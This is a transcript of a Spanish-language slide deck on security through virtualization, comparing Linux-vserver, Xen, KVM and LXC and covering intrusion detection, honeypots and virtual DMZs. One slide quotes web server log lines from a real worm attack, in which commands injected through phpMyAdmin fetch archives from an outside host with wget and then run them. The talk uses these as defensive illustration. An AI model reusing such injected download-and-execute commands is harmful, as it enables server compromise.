Seguridad por virtualización G4

704 views

Published on

Published in: Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
704
On SlideShare
0
From Embeds
0
Number of Embeds
37
Actions
Shares
0
Downloads
21
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

Seguridad por virtualización G4

  1. 1. 2012-10-30 Seguridad por virtualización G4 Simposium ITSSATDerechos reservados © 2004-2012 Sandino Araico Sánchez<sandino@sandino.net> / Enrique A. Sánchez Montellano<enrique.sanchez@yaguarete-sec.com> / Rolando CedilloCaballero <rolando@intelligencia.com>Se permite ilimitadamente el uso, copia, redistribución con o sinmodificaciones siempre y cuando se mantenga el aviso dederecho de autor y se anoten al final de la presentación todas lasmodificaciones que se llevan a cabo conservando la historia delas modificaciones que hagan las demás personas e indicando lafecha de cada modificación y el nombre de la persona que lallevó a cabo.
  2. 2. Seguridad por virtualizaciónXen http://xensource.comVbox http://www.virtualbox.orgKVM http://linux-kvm.orgZonas de Open SolarisOpen VZ http://openvz.orgLXC http://lxc.sourceforge.netLinux-vserver http://linux-vserver.org GR Security http://grsecurity.net
  3. 3. Atributos de la seguridad por virtualizaciónEficienciaEncapsulamientoAuditabilidadIntrospecciónDureza
  4. 4. Introspección Host[root@carnitas root] ps fax PID TTY STAT TIME COMMAND 1? S 0:04 init [3] 2? SW 0:00 [keventd] 3? SW 0:00 [kapmd] 4? SWN 0:00 [ksoftirqd_CPU0] 5? Z 1:06 [kswapd <defunct>] 6? SW 0:08 [bdflush] 7? SW 5:57 [kupdated] 8? SW 6:56 [kjournald] guest vserver guest vserver guest vserver 61 ? SW 0:00 [khubd] 109 ? SW< 0:00 [mdrecoveryd] 1186 ? SW 0:03 [kreiserfsd]31375 ? S 4:59 syslogd -m 021127 ? S 5:16 klogd -x ipv4root is now 192.168.4.9 350 ? ipv4root is now S ipv4root is now 192.168.4.10 127.0.4.10 New security context is 49163 0:00 /usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-scripts/apmscript [root@fedora-install /] ps fax New security context is 49153 192.168.4.6 PID TTY STAT TIME COMMAND17503 ? S 0:00 /usr/sbin/sshd [root@fedora-pruebas /] ps fax 21576 pts/23 S 0:00 /bin/bash -login 1092 pts/23 R 0:00 _ ps fax 28746 ? S 0:00 /usr/bin/freshclam -d -p /var/run/clamav/freshclam.pid 2482 ? S 0:18 _ /usr/sbin/sshd PID TTY STAT TIME COMMAND New security context is 27546 ? S 0:08 /usr/sbin/clamd 8936 ? S 0:00 _ /usr/sbin/clamd26369 pts/19 S 0:00 | _ -bash 11416 pts/23 S 0:00 /bin/bash - 12545 pts/18 S 0:00 su jabber -c /usr/sbin/jabberd -H /var/lib/jabber -c /var/run/jabber/jabber.xml 8519 pts/18 S 0:00 _ /usr/sbin/jabberd -H /var/lib/jabber -c /var/run/jabber/jabber.xml 49154 21987 pts/18 S 0:00 _ /usr/sbin/jabberd -H /var/lib/jabber -c /var/run/jabber/jabber.xml15624 pts/19 S 0:00 | _ screen -r 11587 ? 27159 ? S S login 0:00 /usr/lib/courier-imap/sbin/courierlogger pop3d-ssl 0:00 /usr/lib/courier-imap/libexec/couriertcpd -address=0 -stderrlogger=/usr/lib/courier-imap/sbin/courierlogger -stderrl 6378 ? S 0:00 _ /usr/sbin/sshd 642 pts/23 R 0:00 _ ps fax 27614 ? S 0:00 /usr/lib/courier-imap/sbin/courierlogger pop3d [root@carnitas /] ps fax 23069 ? S 0:00 /usr/lib/courier-imap/libexec/couriertcpd -address=0 -stderrlogger=/usr/lib/courier-imap/sbin/courierlogger -stderrl 15630 ? S 0:00 /usr/lib/courier-imap/sbin/courierlogger imapd-ssl22919 pts/22 S 0:00 | _ -bash 6387 ? 7574 ? S S 27525 ? S 2:10 /usr/sbin/rcd -r 0:00 /usr/lib/courier-imap/libexec/couriertcpd -address=0 -stderrlogger=/usr/lib/courier-imap/sbin/courierlogger -stderrl 0:00 /usr/lib/courier-imap/sbin/courierlogger imapd18816 pts/22 S 0:00 | _ tail --follow=name /var/log/info 468 ? S 34:22 SCREEN PID TTY STAT TIME 29190 ? S 0:00 /usr/lib/courier-imap/libexec/couriertcpd -address=0 -stderrlogger=/usr/lib/courier-imap/sbin/courierlogger -stderrl 75 ? S 0:00 /usr/lib/courier-imap/sbin/courierlogger -pid=/var/run/authdaemon.courier-imap/pid -start /usr/lib/courier-imap/libe 7065 ? S 0:00 _ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain 2924 ? S 0:00 _ /usr/sbin/sshd 16345 ? S 0:00 11908 pts/2 S 0:00 _ /bin/bash _ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain COMMAND 342 ? S 0:00 _ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain 3507 pts/23 S 0:00 _ -bash 17447 pts/2 S 125:19 | _ top 9778 ? S 0:00 _ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain 30034 ? S 0:00 _ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain 18176 ? S 0:00 _ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain 5315 pts/23 R 0:00 _ ps fax 24134 pts/3 S 0:00 _ /bin/bash 29351 pts/23 S 12295 ? S 0:00 /usr/libexec/postfix/master 5888 ? S 0:00 _ qmgr -l -t fifo -u 5193 ? SL 0:00 ntpd -U ntp -g 15032 pts/4 S 0:01 _ /bin/bash 22906 ? S 0:00 _ pickup -l -t fifo -u 7880 ? S 0:03 /usr/bin/spamd -d -x -u spamd -m 6 -H /var/cache/spamd 0:00 /bin/bash -login 13036 ? S 0:01 _ spamd child11656 ? S 0:00 gpm -t ps/2 -m /dev/psaux 29368 ? 12580 ? S S 0:01 _ spamd child 0:01 _ spamd child 30409 pts/5 S 0:09 _ /bin/bash18722 ? S 0:00 crond 27016 pts/6 S 0:03 _ /bin/bash 13315 ? S 0:01 _ spamd child 30000 pts/23 R+ 0:00 23456 ? S 0:01 _ spamd child 27050 ? S 0:00 _ spamd child27300 ? S 0:00 /usr/sbin/atd 16011 ? 9849 ? S S 0:00 /usr/sbin/httpd 18787 pts/12 S 0:06 _ /bin/bash 0:00 _ /usr/sbin/rotatelogs /var/log/httpd/sapodesk.access.log.%Y%B%d 604800 8063 ? S 0:00 /usr/local/sbin/rebootmgr --pidfile /var/run/rebootmgr.pid fedora fedora-pruebas gentoo mandrake redhat 19997 ? S 0:00 crond _ ps fax 21818 ? S 0:00 _ /usr/sbin/httpd 17319 ? S 0:00 _ /usr/sbin/httpd 16118 ? S 0:00 _ /usr/sbin/httpd10923 ? S 0:00 login -- ruth 15154 ? S 0:00 _ /usr/sbin/httpd 26925 ? S 0:04 /usr/libexec/ 31178 ? Ss 0:04 / 22121 ? S 0:00 _ /usr/sbin/httpd16086 tty2 S 0:01 _ -bash postfix/master 19986 ? S 0:00 _ /usr/sbin/httpd 22846 ? S 0:00 _ /usr/sbin/httpd 11579 ? S 0:00 _ /usr/sbin/httpd14621 tty3 S 0:00 /sbin/mingetty tty3 15234 ? S 0:00 xinetd -stayalive usr/sbin/cron 3342 pts/18 S 0:00 /bin/sh /usr/bin/safe_mysqld --defaults-file=/etc/my.cnf 23346 pts/18 S 0:00 _ /usr/libexec/mysqld --defaults-file=/etc/my.cnf --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-15563 tty4 S 0:00 /sbin/mingetty tty4 -pidfile /var/run/xinetd.pid file= 28855 pts/18 S 0:00 _ /usr/libexec/mysqld --defaults-file=/etc/my.cnf --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid- 8298 ? Ss 0:00 / f21516 tty5 S 0:00 /sbin/mingetty tty5 30840 pts/18 S 19176 pts/18 S 0:00 0:00 3983 ? S 0:09 /usr/sbin/sshd _ /usr/libexec/mysqld --defaults-file=/etc/my.cnf --basedir=/usr --datadir=/var/lib/mysql --user=mysql --p _ /usr/libexec/mysqld --defaults-file=/etc/my.cnf --basedir=/usr --datadir=/var/lib/mysql --user=mysql --p13617 tty6 S 0:00 /sbin/mingetty tty6 12499 ? S 0:35 _ sshd: 24053 ? S 15:00 /usr/sbin/rcd -r usr/sbin/sshd 30151 ? S 0:00 crond 26749 ? S 0:03 /usr/sbin/sshd 2390 ? S 76:58 SCREEN 8813 ? 29821 pts/1 S S 0:11 _ sshd: root@pts/1 0:00 | _ -bash root@pts/0 1833 pts/7 S 0:00 _ /bin/bash 14284 pts/0 S 0:00 _ -bash 12965 ? Ss 0:00 / 4149 pts/1 S 0:00 | _ screen 2753 ? S 1:02 | _ SCREEN 8203 pts/11 S 0:00 | _ /bin/bash 3889 pts/8 S 0:01 _ /bin/bash 21729 pts/11 S 58:56 | | _ top 10672 pts/0 S 0:00 _ screen usr/sbin/syslogd -m 0 3848 pts/14 S 0:04 | _ /bin/bash32320 pts/9 S 0:00 _ /bin/bash -r 9026 pts/15 S 0:00 | _ /bin/bash 17204 pts/20 S 0:00 | _ /bin/bash 602 pts/21 S 0:00 | _ /bin/bash 5109 pts/10 S 0:06 _ /bin/bash 21878 ? S 3:32 syslogd -m 0 [root@carnitas /] 12312 pts/18 S 0:01 | _ /bin/bash 3484 ? S 0:00 _ sshd: root@pts/16 90 pts/13 S 0:00 _ /bin/bash [root@fedora-pruebas /] 12719 pts/16 S 0:00 _ -bash 24044 pts/16 S 0:00 _ tail --follow=name /var/log/boot.log /var/log/cron /var/log/dmesg /var/log/httpd/access_log /var/log/htt 6578 pts/16 S 0:00 _ tail --follow=name /var/log/boot.log /var/log/cron /var/log/dmesg /var/log/httpd/access_log /var/log/htt 6877 pts/17 S 0:00 _ /bin/bash 1220 ? S [root@fedora-install /] 0:05 syslogd -m 024449 ? S 0:00 login -- viewlog 3085 tty1 S 0:00 _ /bin/sh /var/log/viewlogs.sh 4594 tty1 S 0:00 _ tail --follow=name boot.log cron dmesg ksyms.0 maillog messages mysqld.log secure apache/*log
  5. 5. VM VM VM(guest) (guest) (guest) Capa de virtualización Hardware (host)
  6. 6. Herramientas de detección de intrusosSnortAIDE / samhainChkrootkit / RKHunterTcpdump / WiresharkNTOPPSAD / blockhostsclamav
  7. 7. Sin virtualización Host 207.113.245.241 Snort Servicios en Log producciónclientes hostiles
  8. 8. Con virtualización 207.113.245.241 Log ServiciosSnort en producción Capa de virtualizacióntcpdump en el hostclientes hostiles
  9. 9. Honeypot en producción 207.113.245.241 LogSnort Servicios probablemente vulnerables Capa de virtualizacióntcpdump en el hostclientes hostiles
  10. 10. Firma de binarios Sin virtualizaciónHost 207.113.245.241 /bin /lib /etc /usr/bin /usr/lib Log /usr/sbin /usr/sbin/aideclientes hostiles
  11. 11. Firma de binarios /bin /lib /etc /bin /lib /etc /bin /lib /etc /usr/bin /usr/bin /usr/bin Repo /usr/sbin /bin /lib /etc /usr/sbin /bin /lib /etc /usr/sbin /bin /lib /etc /usr/bin /usr/bin /usr/bin /usr/sbin /usr/sbin /usr/sbin Aide / samhain Capa de virtualización Hardware (host)clientes hostiles
  12. 12. Acceso a la redIptablesIproute2OpenVPNSquidIpcopblockhosts
  13. 13. Sin virtualizaciónHost 200.33.4.13 - 18 /var/www/html /home POP3HTTP SMTP FTP IMAP FTP clientes
  14. 14. Con virtualizaciónFTP HTTP SMTP POP3 Capa de virtualización /var/www/html /home Hardware (host) clientes
  15. 15. DMZ virtualFTP HTTP SMTP POP3 Capa de virtualización /var/www/html /home NAT Hardware (host) clientes
  16. 16. Así se ve un gusanoarrachera.saks: 614 total, 2 running, 612 sleeping, 0 stopped,0 zombieCpu0 : 0.0%us, 0.1%sy, 0.0%ni, 97.2%id, 0.0%wa, 1.5%hi,1.2%si, 0.0%st...Mem: 12302896k total, 12038224k used, 264672k free, 1234036kbuffersSwap: 4192880k total, 3280k used, 4189600k free, 7756440kcached PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND16044 bin 24 0 3540 1956 1340 R 100 0.0 11:02.05 x12188 40 17 0 23176 19m 1860 S 0 0.2 0:31.61 named27265 40 15 0 15536 12m 2068 S 0 0.1 0:01.27 named 7721 root 15 0 17604 1968 992 R 0 0.0 1:04.83 top
  17. 17. Así se ve un gusano599 [root@posh ~] vcontext --xid 126 --migrate -- ls -la /proc/16044total 0dr-x------ 6 bin bin 0 Oct 9 12:03 .dr-xr-xr-x 629 root root 0 Oct 8 08:24 ..dr-xr-xr-x 2 bin bin 0 Oct 9 12:17 attr...-r--r--r-- 1 bin bin 0 Oct 9 12:14 cmdlinelrwxrwxrwx 1 bin bin 0 Oct 9 12:17 cwd -> /vservers/eaea/usr/local/apache2/eaea/data/bb-r-------- 1 bin bin 0 Oct 9 12:17 environlrwxrwxrwx 1 bin bin 0 Oct 9 12:03 exe -> /vservers/eaea/usr/bin/perl...-rw-r--r-- 1 bin bin 0 Oct 9 12:17 oom_adj-r--r--r-- 1 bin bin 0 Oct 9 12:17 oom_scorelrwxrwxrwx 1 bin bin 0 Oct 9 12:17 root -> /vservers/eaea...
  18. 18. Así se ve un gusano84.194.192.10 - - [09/Oct/2009:06:19:28 -0500] "GET //phpmyadmin/config/inc.inc.php?c=cd%20/usr/local/apache2/htdocs/eaea;%20wget%20ns.ava-bg.com/~eliza/emsi.gif;%20tar%20zxvf%20emsi.gif;%20rm%20-rf%20emsi.gif;%20cd%20mc-root;%20./start%20php.My-Admin- HTTP/1.1"200 31884.194.192.10 - - [09/Oct/2009:06:19:50 -0500] "GET //phpmyadmin/config/inc.inc.php?c=cd%20/usr/local/apache2/htdocs/eaea/mc-root/r;%20ps%20xHTTP/1.1" 200 82784.194.192.10 - - [09/Oct/2009:06:20:32 -0500] "GET //phpmyadmin/config/inc.inc.php?c=cd%20/usr/local/apache2/htdocs/eaea/mc-root/r;%20wget%20ns.ava-bg.com/~eliza/dd0s.gif;%20tar%20zxvf%20dd0s.gif;%20rm%20-rf%20dd0s.gif;%20cd%20bb;%20PATH=%22./%22%20httpd;%20ps%20xHTTP/1.1" 200 112384.194.192.10 - - [09/Oct/2009:06:20:54 -0500] "GET //phpmyadmin/config/inc.inc.php?c=cd%20/usr/local/apache2/htdocs/eaea/mc-root/r/bb;%20./httpd;%20ps%20x HTTP/1.1" 200 839
  19. 19. Sistemas embebidosuClibcGentoo embedded <--- Linux Not GNU USE=staticResource limitsStorage limitsSolamente un proceso estático y ya
  20. 20. Con virtualización (Embebidos) HTTPFTP SMTP POP3 Capa de virtualización /var/www/html /home Hardware (host) clientes
  21. 21. Funciona igual pero son más pequeñosUn proceso por vserverSistema de archivos mínimoNo hay libreríasNo hay compiladoresFácilmente clusterizables
  22. 22. Virtualización + HA /var/www/html - NAS - /home Host A Host B Capa de virtualización VPS VPS VPS VPS VPS VPS VPSDirector en standby Director Clientes
  23. 23. NAS redundante NAS A NAS B Host A Host B Capa de virtualización VPS VPS VPS VPS VPS VPS VPSDirector en standby Director Clientes
  24. 24. Estable (viejo)Linux 2.6.22.19Linux-Vserver 2.2.0.7GR Security 2.1.11LVM2Gentoo hardened 10.0NFS
  25. 25. DesarrolloLinux 3.2.22Linux-Vserver 2.3.2.10GR Security 2.9.1LVM2Gentoo hardened 12.0DRBDOCFS2 / GFS2 / Glusterfs / Ceph
  26. 26. Cuadro comparativoLinux-vserver Libre Libre y Xen propietario KVM Libre LXC Libre
  27. 27. Sistema operativoLinux-vserver Linux Xen Linux / Net BSD / Open Solaris KVM Linux LXC Linux
  28. 28. Tecnología de virtualización Linux-vserver Soft partitioning Virtualización y Xen paravirtualización Virtualización y KVM paravirtualización LXC Soft partitioning
  29. 29. EncapsulamientoLinux-vserver Parcial Xen Sí KVM Sí LXC Parcial
  30. 30. AuditabilidadLinux-vserver Sí Xen No KVM No LXC Sí Xen y KVM podrían ser auditables simontamos el sistema de archivos raízsobre NFS o sobre OCFS2/GFS2/Ceph
  31. 31. IntrospecciónLinux-vserver Sí Xen No KVM No LXC SíEl acceso a la consola del S. O. no se considera introspección
  32. 32. GR SecurityLinux-vserver Sí Xen En Linux > 3.0 KVM Sí LXC Sí
  33. 33. Sistemas operativos heterogeneos Linux-vserver No Linux, Net BSD, Xen Open Solaris KVM Solo en AMD64 LXC No
  34. 34. Versión más reciente de Linux (sin GR Security) Linux-vserver 3.6 Xen 3.6.4 KVM 3.6.4 LXC 3.6.4
  35. 35. Versión más reciente de Linux (con GR Security) Linux-vserver 3.2.22 Xen 3.6.4 KVM 3.6.4 LXC 3.6.4
  36. 36. Firma de binarios Sin virtualizaciónHost 207.113.245.241 /bin /lib /etc /usr/bin /usr/lib Log /usr/sbin /usr/sbin/aideclientes hostiles
  37. 37. IDS en el NAS NAS /bin /lib /etc /usr/bin /usr/lib /usr/sbin Log ( aide | chkrootkit | rkhunter | samhain )( snort | NTOP ) Host A Host B ( tcpdump | blockhosts ) Capa de virtualización VPS VPS VPS VPS clientes hostiles
  38. 38. Referencias http://linux-vserver.org http://sourceware.org/cluster/gfs/ http://grsecurity.net http://oss.oracle.com/projects/ocfs2/ http://www.openvz.org http://gluster.org http://www.uclibc.org http://www.drbd.org/ http://lxc.sourceforge.net/ http://www.linux-kvm.org http://mirrors.sandino.net/vserver/images http://linux-vserver.org/Linux-VServer-Paper http://www.redhat.com/magazine/014dec05/features/xen/Sandino Araico Sánchez<sandino@1101.mx>@KBrown

×